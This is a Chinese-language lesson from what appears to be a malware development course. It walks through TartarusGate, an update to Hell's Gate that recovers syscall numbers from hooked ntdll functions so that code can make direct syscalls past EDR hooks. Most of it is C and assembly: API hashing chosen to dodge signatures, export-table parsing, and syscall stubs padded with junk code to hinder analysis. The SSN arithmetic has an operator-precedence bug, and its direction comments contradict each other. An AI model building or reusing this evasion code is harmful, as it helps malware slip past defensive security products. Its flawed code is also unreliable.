模块 88 - 更新 Hell's Gate (TartarusGate)
恶意软件开发课程 - 更新 Hell's Gate (TartarusGate)
模块 88 - 更新 Hell’s Gate (TartarusGate)#
更新 Hell’s Gate (TartarusGate)#
简介#
Syscalls - Hell’s Gate 模块介绍了 Hell’s Gate 技术,该技术通过在挂钩字节中搜索系统调用号(SSN)来绕过用户态挂钩,以便稍后直接调用。本模块将对该模块中演示的原始 Hell’s Gate 实现进行更新。
更新后的实现将更加定制化,从而提隐蔽性并减少基于签名的检测。此外,更新后的代码将采用 TartarusGate ↗ 的方法来检索 Syscall 的 SSN,这是一种更强大的动态检索技术。
如果您需要重温原始的 Hell’s Gate 实现,请访问 Hell’s Gate GitHub 仓库 ↗。
💡 初学者提示:为什么需要 TartarusGate?
类比理解: 想象 Syscall 表是一条街道,每户人家都有一个门牌号(SSN)。
- Hell’s Gate 试图直接看你家大门上的门牌号。如果 EDR 在你家门口贴了大字报(挂钩),挡住了门牌号,Hell’s Gate 就不知道你是几号了。
- TartarusGate 则更加聪明。如果你家的门牌号被遮住了,它会去看你的邻居。
- 如果左边邻居是 50 号,那你就是 51 号。
- 如果右边邻居是 52 号,那你还是 51 号。
只要街上还有没被遮挡的门牌号,TartarusGate 就能推算出被遮挡住的号码。
更新字符串哈希算法#
原始的 Hell’s Gate 实现使用了 DJB2 ↗ 字符串哈希算法。更新字符串哈希算法并不影响 Hell’s Gate 的核心逻辑,但修改哈希算法可以降低被签名检测的可能性。我们将 djb2 函数替换为以下的 crc32h 函数。
#define SEED 0xEDB88320
unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 >> 1,
g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) { // 获取下一个字节
crc = crc ^ byte;
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
crc = ((unsigned)crc >> 8) ^ c;
i = i + 1;
}
return ~crc;
}ccrc32h 函数是 循环冗余校验 (CRC) ↗ 字符串哈希算法的一种实现,将在本模块中使用。为了提高代码的可读性和可维护性,我们将通过以下宏来调用 crc32h 函数。
#define HASH(API) crc32h((char*)API)c其中 API 变量是要使用 crc32h 进行哈希处理的字符串。
更新 GetVxTableEntry#
创建 NTDLL_CONFIG 结构体#
回顾一下,GetVxTableEntry ↗ 是用于通过哈希值检索指定 Syscall 的地址和 SSN 的函数。GetVxTableEntry 函数计算搜索指定哈希所需的 RVA,并接受两个额外的参数 pModuleBase 和 pImageExportDirectory。为了提高效率,我们创建了 NTDLL_CONFIG 结构体,如下所示。
这相当于把所有关于 NTDLL 导出表的信息打包在一起,避免重复解析。
typedef struct _NTDLL_CONFIG
{
PDWORD pdwArrayOfAddresses; // ntdll 导出函数地址数组的 VA
PDWORD pdwArrayOfNames; // ntdll 导出函数名称数组的 VA
PWORD pwArrayOfOrdinals; // ntdll 导出函数序号数组的 VA
DWORD dwNumberOfNames; // ntdll.dll 导出函数的数量
ULONG_PTR uModule; // ntdll 的基址 - 用于计算未来的 RVA
} NTDLL_CONFIG, *PNTDLL_CONFIG;
// 全局变量
NTDLL_CONFIG g_NtdllConf = { 0 };c创建 InitNtdllConfigStructure#
此外,创建了一个私有函数 InitNtdllConfigStructure,并由 GetVxTableEntry 调用,用于初始化 g_NtdllConf 全局结构体。这允许 GetVxTableEntry 访问 NTDLL 头部的数值,而无需每次都传递额外的参数或进行重复计算。
BOOL InitNtdllConfigStructure() {
// 获取 PEB
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// 获取 ntdll.dll 模块 (跳过我们的本地镜像元素)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// 获取 ntdll 的基址
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// 获取 ntdll 的 DOS 头
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// 获取 ntdll 的 NT 头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// 获取 ntdll 的导出目录
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// 初始化 'g_NtdllConf' 结构体的元素
g_NtdllConf.uModule = uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// 检查
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}c重命名 & 更新 GetVxTableEntry#
GetVxTableEntry 被重命名为 FetchNtSyscall,它将有两个参数:dwSysHash(要获取 SSN 的指定 Syscall 的哈希值)和 pNtSys(一个指向 NT_SYSCALL 结构体的指针),该结构体包含执行直接 Syscall 所需的所有信息。
typedef struct _NT_SYSCALL
{
DWORD dwSSn; // 系统调用号 (SSN)
DWORD dwSyscallHash; // 系统调用哈希值
PVOID pSyscallAddress; // 系统调用内存地址
} NT_SYSCALL, *PNT_SYSCALL;cFetchNtSyscall 函数执行以下操作:
- 检查全局
g_NtdllConf结构体是否已初始化。如果没有,则调用InitNtdllConfigStructure进行初始化。 - 检查用户是否指定了哈希值。
- 启动一个循环,使用哈希值搜索指定的 Syscall。
- 找到 Syscall 后,将其地址保存到
pNtSys结构体中。 - 启动一个 while 循环 (Hell’s Gate 逻辑) 或升级后的逻辑 (TartarusGate) 来搜索 SSN。
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
// 初始化 ntdll config
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
// 在 ntdll 的导出函数中搜索 'dwSysHash'
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
// 如果找到了目标函数
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
// ... (SSN 检索逻辑见下文) ...
break;
}
}
// ...
}c增强 SSN 检索逻辑 (TartarusGate)#
原理#
Hell’s Gate 在搜索 SSN 时,会检查 syscall (0x0f, 0x05) 或 ret (0xc3) 指令。一旦遇到这些指令但仍未找到 SSN(例如因为被 Hook 了),搜索就会失败。
TartarusGate 利用了相邻的 Syscall 来计算指定 Syscall 的 SSN。
- 如果向上搜索(低地址方向),Syscall B 的 SSN = Syscall A 的 SSN + 1。
- 如果向下搜索(高地址方向),Syscall B 的 SSN = Syscall C 的 SSN - 1。
甚至可以跨越多个函数: Syscall C 的 SSN =
- A 的 SSN + 2
- B 的 SSN + 1
- D 的 SSN - 1
- E 的 SSN - 2
如下图所示,idx 是需要加减的偏移量。

更新 FetchNtSyscall 实现#
了解了 TartarusGate 的工作原理后,我们更新 FetchNtSyscall 函数以使用该搜索逻辑。
RANGE设置为 255,表示向上或向下搜索内存的最大 Syscall 数量。UP等于 32,这是通常一个 Syscall Stub 的大小。用于向上搜索 (地址增加)。DOWN等于 -32。用于向下搜索 (地址减少)。
// ... 在 FetchNtSyscall 的循环内部 ...
// 1. 尝试直接获取 (未被 Hook 的情况)
if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5);
BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low;
break; // break for-loop [i]
}
// 2. 如果被 Hook 了 (开头就是 jmp 0xE9) - 场景 1
if (*((PBYTE)pFuncAddress) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// 向下检查邻居 (Low Address -> High Address,这取决于定义,通常 Down 指地址减小,但在数组索引中可能相反,这里需注意)
// 原文代码逻辑:
// idx * DOWN (如果是负数) -> 往低地址找 (Prev Function) -> SSN 应该更小 -> 该函数的 SSN = 邻居 SSN + idx
// idx * UP (如果是正数) -> 往高地址找 (Next Function) -> SSN 应该更大 -> 该函数的 SSN = 邻居 SSN - idx
// 修正理解:
// 在内存中,Syscall 是按顺序排列的。
// Func A (SSN 0) -> Address 0x1000
// Func B (SSN 1) -> Address 0x1020 (+32)
// 如果我们在 Func B (被 Hook),要找 Func A (未 Hook)。
// Func A = Func B - 32 (Address)
// Func B SSN = Func A SSN + 1
// 检查下方邻居 (index 增加,地址增加,Next Function)
// 如果找到 Next Function,Current SSN = Next SSN - idx
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C
/* ... 检查特征码 ... */ ) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
pNtSys->dwSSn = (high << 8) | low - idx; // 邻居在后面,邻居SSN大,所以减去 idx
break;
}
// 检查上方邻居 (index 减少,地址减少,Prev Function)
// 如果找到 Prev Function,Current SSN = Prev SSN + idx
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C
/* ... 检查特征码 ... */ ) {
BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFuncAddress + 4 + idx * UP);
pNtSys->dwSSn = (high << 8) | low + idx; // 邻居在前面,邻居SSN小,所以加上 idx
break;
}
}
}
// ... (处理场景 2,Hook 在第 3 个字节) ...c更新汇编函数 (混淆)#
HellsGate 和 HellDescent 函数被替换为 SetSSn 和 RunSyscall。这里添加了一些不会执行的垃圾代码 (Junk Code) 来干扰静态分析。
混淆后的汇编函数#
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov eax, ecx ; eax = ssn
mov r8d, eax ; r8d = eax = ssn
mov wSystemCall, r8d ; wSystemCall = r8d = eax = ssn
ret
SetSSn ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run ; 跳转到 'Run',跳过下面的垃圾代码
xor eax, eax ; 不会运行
xor rcx, rcx ; 不会运行
shl r10, 2 ; 不会运行
Run:
syscall
ret
RunSyscall ENDP
end asm总结#
TartarusGate 是 Hell’s Gate 的重要升级,它解决了原始版本在遇到已被 EDR 挂钩的函数时无法获取 SSN 的痛点。通过“查询邻居”的策略,只要 NTDLL 中还有未被挂钩的函数,我们就能推算出目标函数的 SSN。结合 CRC32 哈希和简单的汇编混淆,这构成了一个强大的直接系统调用执行框架。